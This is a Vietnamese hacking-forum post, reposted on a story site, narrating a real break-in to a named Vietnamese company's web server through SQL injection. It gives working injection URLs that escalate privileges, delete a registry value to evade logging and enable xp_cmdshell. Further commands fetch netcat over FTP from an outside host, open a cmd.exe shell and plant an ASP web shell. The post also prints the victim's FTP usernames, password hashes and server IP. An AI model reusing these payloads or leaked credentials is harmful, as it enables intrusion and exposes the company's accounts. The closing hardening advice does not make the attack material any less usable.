Anken - SQL injection without "sa" - Y!m: This_Love_No1
SQL injection without "sa"
Bài viết này tình cờ tìm lại được trong Yahoo Mail. Lâu rồi nên nó đã fix^^. Tham khảo thui!
OK ! Hôm nay rảnh rỗi , quạ xin trình bày kỹ thuật hack 1 server sử dụng MsSQL mà không cần user hiện tại phải là sa hoặc là dbo .Mục tiêu lần này là một trang Web của 1 công ty dịch vụ bảo vệ của Việt Nam là www.dongavn.com.vn .
Trong lúc đang xem trang web tình cờ , ngứa tay , quạ thêm vào một dấu ' vào links xem có gì xẩy ra thì bùm :
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003'
---
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string 'tt-98112972003''.
/thongtin/xemthongtinct.asp, line 15
---
He he , như vậy là chú này bị sql injection .Chúng ta thử thêm một lệnh nữa xem nó có thể bị hack bởi kỹ thuật mới của quạ ko nhé .
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003' and 1=convert(int,@@version)--sp_password
----
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/thongtin/xemthongtinct.asp, line 15
----
Phiên bản nó có vẻ cũ và chưa được fix lỗi!
----
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user 'SYSTEM'.
/thongtin/xemthongtinct.asp, line 15
----
Wow, nó chạy 1 user thường . Vậy ta sẽ dùng cách enable user BUILTIN\ADMINISTRATORS với password mặc định khi cài Mssql là ko có gì . Ok ! Ta thử xem user hiện tại của nó có quyền add thêm user vào bảng user của mssql ko nhé .
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003';exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx' exec sp_executesql N'drop view dbo.test'--sp_password
Sau đó dùng links sau để xem sau khi dùng lệnh để add user guest vào bảng user đã được chưa nhé !
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003' and 1=convert(int,(select top 1 name from master..sysusers where roles=0x01 and name not in('dbo')))--sp_password
Và kết quả là :
----
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'guest' to a column of data type int.
/thongtin/xemthongtinct.asp, line 15
----
Wow ! Lại ok nữa . He he , việc tiếp theo là dùng lệnh để disable nhật ký của máy chủ ! Ta sẽ dùng quyền exec master..xp_regdeletevalue có sẵn trong 1 user thường để delete giá trị trong registry .
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003';exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Ser vices\Tcpip\Parameters','EnableSecurityFilters'--sp_password
Xong rồi , ở query này thì ko cần phải kiểm tra vì nếu nó chạy được thì nó sẽ hiện ra thông báo lỗi do lệnh query trong file gốc là /thongtin/xemthongtinct.asp bị sai .
----
Server.MapPath(), ASP 0173 (0x80004005)
An invalid character was specified in the Path parameter for the MapPath method.
/thongtin/xemthongtinct.asp, line 20
----
Ok ! Tiếp theo ta sẽ enable user BUILTIN\ADMINISTRATORS . Việc này sẽ ko bị phát hiện do ta đã disable nhật ký !
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003';exec sp_executesql N'create view dbo.test as select * from master.dbo.sysxlogins' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set xstatus=18 where name=''BUILTIN\ADMINISTRATORS''','xx' exec sp_executesql N'drop view dbo.test'--sp_password
Và lại là báo lỗi hiện ra ! Ko sao cả báo lỗi lại càng hay ! Nó có nghĩa là câu lệnh đã thực hiện xong !
----
Server.MapPath(), ASP 0173 (0x80004005)
An invalid character was specified in the Path parameter for the MapPath method.
/thongtin/xemthongtinct.asp, line 20
----
Tiếp theo ta sẽ dùng chính user BUILTIN\ADMINISTRATORS vừa rồi để shell lệnh trong windows , nhưng trước đó ta lại ko biết rằng Admin của Server này đã disable quyền shell của các user có quyền admin chưa nên chắc ăn nhất là ta dùng 1 lệnh để enable nó lại . Để chạy lệnh này ta cần biết tên của server cần chạy . Ok , muốn biết cũng được , ko vấn đề gì .
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003' and 1=convert(int,@@servername)--sp_password
----
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'SERVER' to a column of data type int.
/thongtin/xemthongtinct.asp, line 15
----
He he he , ngộ quá họ đặt tên server là SERVER . Bó tay ! Tiếp theo là enable shell .
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003';select * from openrowset('sqloledb', 'server=SERVER;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')--sp_password
Trong đó thì cái này để enable shell : exec master..sp_addextendedproc xp_cmd,''xpsql70.dll''
Cái này để ghi nhận thay đổi : exec sp_configure ''allow updates'', ''1''
và cái này để khời động này trình mssql : reconfigure with override
----
Server.MapPath(), ASP 0173 (0x80004005)
An invalid character was specified in the Path parameter for the MapPath method.
/thongtin/xemthongtinct.asp, line 20
----
Thể là xong . Bây giờ chỉ việc xác định Ip của máy chủ này , vì có thể máy chủ chứa trình mssql lại ko phải là máy chủ chứa Web . Để xác định thì có rất nhiều cách , sau đây là một số cách tôi đã tổng hợp được sau khi đã xâm nhập một số Server .
1. Shell ipconfig , rồi ghi kết quả ra table , dùng query để đọc table đó .
2. Quét các ip có cùng lớp với máy chủ Web , xem ip nào có tên máy là SERVER
3. Dùng shell upload netcat lên máy rồi nối ngược ra ngoài vào máy mình , nó sẽ ghi Ip của nó trong quá trình connect .
4. attacker> nc -vv -l -p 53
sql injection> ... select * from openrowset('sqloledb','network=dbmssocn;address=<a ttacker_ip>,53','a')
5. ..... Nhiều lắm , tuỳ trường hợp mà dùng thôi .
Trong lần này tui sẽ dùng cách 1 cho nhanh mà đỡ bị phát hiện .
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003';create table ip(id int identity,nd varchar(1000)) insert into ip exec master..xp_cmdshell 'ipconfig'--sp_password
Ta vừa tạo 1 table tên là ip , và 2 trường trong đó là id và nd trong đó id là số dòng còn nd sẽ chứa nội dung câu lệnh ipconfig . Sau đó dùng query để lấy nó ra !
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003' and 1=convert(int,(select top 1 nd from ip where nd like '%25IP Address%25'))--sp_password
Nó sẽ tìm nội dung của dòng có chữ IP Address ! Và kết quả là :
----
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' IP Address. . . . . . . . . . . . : 203.113.132.134 ' to a column of data type int.
/thongtin/xemthongtinct.asp, line 15
----
Vui quá , mọi việc đều xuôn sẻ ! Tiếp theo ta upload Backdoor lên cái máy này . Ở đây tui sẽ dùng netcat một backdoor mạnh và tiện dụng . Tôi đã upload nó sẵn trên một server khác. Ta dùng shell sau để đưa nó về :
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003';select * from openrowset('sqloledb', 'server=SERVER;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "echo open ftp.hungrycat.org %3Eftp %26 echo user *@hungrycat.org * %3E%3Eftp %26 echo bin %3E%3Eftp %26 echo cd www %3E%3Eftp %26 echo cd donghe %3E%3Eftp %26 echo mget nc.exe %3E%3Eftp %26 echo quit %3E%3Eftp"')--sp_password
Lệnh trên ghi các lệnh FTP sẵn vào file tên là ftp. Nó như sau :
echo open ftp.hungrycat.org >ftp
echo user *@hungrycat.org * >>ftp
echo bin >>ftp
echo cd www >>ftp
echo cd donghe >>ftp
echo mget nc.exe >>ftp
echo quit >ftp
(* là user và password của cái host của mình ko thể tiết lộ được )
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003';select * from openrowset('sqloledb', 'server=SERVER;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "ftp -v -i -n -s%3Af %26 del f"')--sp_password
Nó gồm có các lệnh :
ftp -v -i -n -s:ftp
del ftp
Để upload và xoá file FTP . Vậy là xong , ta kiểm tra kết quả xem netcat đã được upload chưa .
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003';drop table ip create table dir(id int identity,nd varchar(1000)) insert into dir exec master..xp_cmdshell 'dir nc.exe'--sp_password
----
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'x/x/2004 x:x 11,776 nc.exe' to a column of data type int.
/thongtin/xemthongtinct.asp, line 15
----
Ok , chạy thêm lệnh nữa để nối netcat để đổ shell về máy mình !
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003';select * from openrowset('sqloledb', 'server=SERVER;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "nc -nvv -l -d -p 8080 -e cmd.exe"')--sp_password
nc -nvv -l -d -p 8080 -e cmd.exe : Lệnh này cho netcat lắng nghe và đổ shell trên cổng 8080 của máy chủ .
Ở máy nhà ta dùng lệnh : nc -nvv 203.113.132.134 8080 để nối vào ! Nhưng ko thể connẹct Tôi đoán là nó dùng 1 route và chỉ route những cổng cần thiết về Servẹr Thôi cũng chả ham gì mà lấy shell . Tôi quyết định upload luôn một con backdoor khác lên trang web này , con này viết bằng asp nên giao tiếp bằng trình duyệt vì vậy dễ sử dụng. May mắn cho tôi là họ để chung Website với mssql! Nhưng khổ nỗi tôi lại ko biết rõ cái website họ đặt ở đâu trong đĩa cứng? Họ rất khôn ngoan khi hidden Directory Web.
Lúc này đành móc mớ kinh nghiệm ít ỏi. Ftp : 203.113.132.134
----
Ftp 203.162.7.70
Connected to 203.162.7.70.
SERVER Serv-u (Version 3.0)
----
Vậy là họ dùng trình Serv-u phiên bản 3.0 làm máy chủ FTP . Một FTP Server phổ biến . Nó lưu thông tin về user và pass trong file ServUDaemon.ini ở thư mục c:\progra~1\serv-u
www.dongavn.com.vn/thongtin/xemthongtinct.asp?mathongtin=tt-98112972003';drop table dir create table dir(id int identity,nd varchar(1000)) insert into dir exec master..xp_cmdshell 'type c:\progra~1\serv-u\ServUDaemon.ini'--sp_password
Sau đó dùng query để đọc file này :
Kết quả sau khi đọc xong file này là :
[GLOBAL]
Version=3.0.0.19
RegistrationKey=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAASgAAA+UDcD4QJwEQBUxvbmcgBkRvbmcgQQ==
OpenFilesUploadMode=Shared
PacketTimeOut=300
ProcessID=700
[DOMAINS]
Domain1=203.113.132.134||21|www.dongavn.com.vn|1
[Domain1]
User1=administrator|1|0
User2=huevb|1|0
User3=huetltk|1|0
User4=huebt|1|0
User5=backup|1|0
User6=download|1|0
User7=long|1|0
User8=hoang|1|0
[USER=administrator|1]
Password=gn2A9FE054E9836D134C7053B64F2DD958
HomeDir=d:\www
TimeOut=600
Note1="Wizard generated account"
Access1=D:\www|RWAMLCDP
[USER=huebt|1]
Password=uyD0B038CDDD3487EDD023444ED889A9D4
HomeDir=d:\www\intranet\bangtinchung\thumuc_temp
RelPaths=1
TimeOut=600
Access1=D:\www\Intranet\bangtinchung\thumuc_temp|R WAMLCDP
[USER=huetltk|1]
Password=dy622C52B31B587B8620F8183C46EAAC3C
HomeDir=d:\www\intranet\bangtin\thumuc_temp
RelPaths=1
TimeOut=600
Access1=D:\www\Intranet\bangtin\thumuc_temp|RWAMLC DP
[USER=huevb|1]
Password=kh2D5AED403D1C3F219ECB6EDCFC3DD5BE
HomeDir=d:\www\intranet\vanban\vb_tailieu
RelPaths=1
TimeOut=600
Access1=D:\www\Intranet\vanban|RWAMLCDP
[USER=backup|1]
Password=tv032D86BCD5C0FFF32C26D27DF2C389AF
HomeDir=d:\backup
RelPaths=1
TimeOut=600
Access1=D:\backup|RWAMLCDP
[USER=download|1]
Password=px4A99990818DB103405B2F7E583573556
HomeDir=d:\download
RelPaths=1
TimeOut=600
Access1=D:\download|RWAMLCDP
[USER=long|1]
Password=bnE04DCF1DAF994215DA3F21D24F6002E8
HomeDir=d:\long
RelPaths=1
TimeOut=600
Access1=D:\long|RWAMLCDP
[USER=hoang|1]
Password=nx07033609A0D318324AAE85F428083746
HomeDir=d:\www\intranet\dongahcm
RelPaths=1
TimeOut=600
Access1=D:\www\Intranet\dongahcm|RWAMLCDP
Như vậy là họ để website ở thư mục d:\www\
Ta dùng 1 lệnh nữa để upload file 4in1.asp lên d:\www\ là xong !
Dùng ie chạy : www.dongavn.com.vn/4in1.asp .
Sau đó tui download toàn bộ mã nguồn của họ về máy , xoá nc.exe , table dir , 4in1.asp , log . Vì tôn chỉ hành động là ko phá hoại chỉ lấy mã nguồn website về để học hỏi nên việc xâm nhập server của tui đến đây là xong !
Qua câu truyện này có vài điều muốn nói với các Administrator .
Việc đầu tiên và quan trọng nhất là hãy cập nhật các bản sửa lỗi mới nhất của các chương trình , phiên bản Microsoft SQL Server 2000 update mới nhất đã vá nhiều lỗi và ta ko thể enable user theo cách này nữa .
Ko đặt chung server chứa dữ liệu và CSDL , mặc dù Hacker có thể dùng server chứa CSDL để hack Server chứa Website nhưng việc đó sẽ khó khăn hơn rất nhiều đối với người ko chuyên nghiệp.
Xoá user BUILTIN\ADMINISTRATORS để hacker ko thể tận dụng password mặc định của Microsoft .
Ko cho user thường quyền thêm user , tốt nhất là xoá hết các quyền trừ quyền query , insert và update .
Thường xuyên quét virus để loại bỏ backdoor.
Ko sử dụng máy chủ để duyệt web , do đó hãy firewall các cổng .
Nhiều trường hợp firewall ko được thiết lập đúng cũng dẫn đến sai lầm như trường hợp tôi hack một server của Hàn quốc . Họ ko cho mình đưa dữ liệu ra từ cổng nào trừ cổng 80 , và tôi đã tận dụng được để upload backdoor , tui đóng cổng 80 của mình rồi nối netcat vào đó , thế là firewall tưởng admin đang duyệt web nên cho dữ liệu ra . Server đó được bảo mật thật kỹ vì nó chứa cả trăm website thương mại của Hàn quốc , nếu là kẻ khác vào được thì ko biết hậu quả sẽ ra sao !
Sử dụng 1 server khác để ghi nhật ký , hacker non tay sẽ ko thể disable nó !
Sử dụng chương trình chung gian để làm máy chủ FTP .
.......
Và còn rất nhiều mà hiện giờ ko nhớ hết , để lúc nào nhớ ra tui sẽ post lên tiếp nha !
Có 1 bài viết của anh em về việc hack có sa.
Theo tôi thì ko cần phải làm kiều Enable user BUILTIN\ADMINISTRATORS, làm thế là hơi máy móc. Bản thân User sa đã có quền enable cmd! Mình cứ enable thẳng mà dùng thôi. Nhiều cái Server nằm trong LAN hoặc bị close hết port chúng ta có thể sử dụng Telnet nghịch chuyển!
quaden(VNISS)
oki, quay lại bài nỳ, em có mấy cái thắc mắc :
1/
Trích:
----
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/thongtin/xemthongtinct.asp, line 15
----
Phiên bản nó có vẻ cũ và chưa được fix lỗi!
Cái bản nay cụ thể chưa được fix lỗi là lỗi nào hả anh?
2/ Em cũng có thử vài trang từ trước đến nay,( có sa hoặc ko có sa ) nhưng có 1 số trang khi em dùng lênh :
add guest vao DB_owner
;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''Guest''','xx' exec sp_executesql N'drop view dbo.test'--sp_password
kiểm tra lại :
and 1=convert(int,(select top 1 name from master..sysusers where roles=0x01 and name not in('dbo')))--sp_password
Thì nó ko hề báo lỗi, chả nhẽ là do ko add được ạ?
Hic tạm thế đã giờ em phải học rồi T.T
Pip (vniss)
Ừ pip à, bản Aug 2000 chưa fix lỗi Bultin. Cách add guest chỉ là 1 thử nghiệm để xem nó có cho mình add user vào ko thôi mà. Nếu mà mình chắc là ok thì chả cần add user guest làm gì !
Nếu mà mình kiểm tra lại ko thấy có cái gì trên màn hình chứng tỏ guest đã có mặt trong DB thì là ko add dc !
Quaden(VNISS)
Bạn đang đọc truyện trên: AzTruyen.Top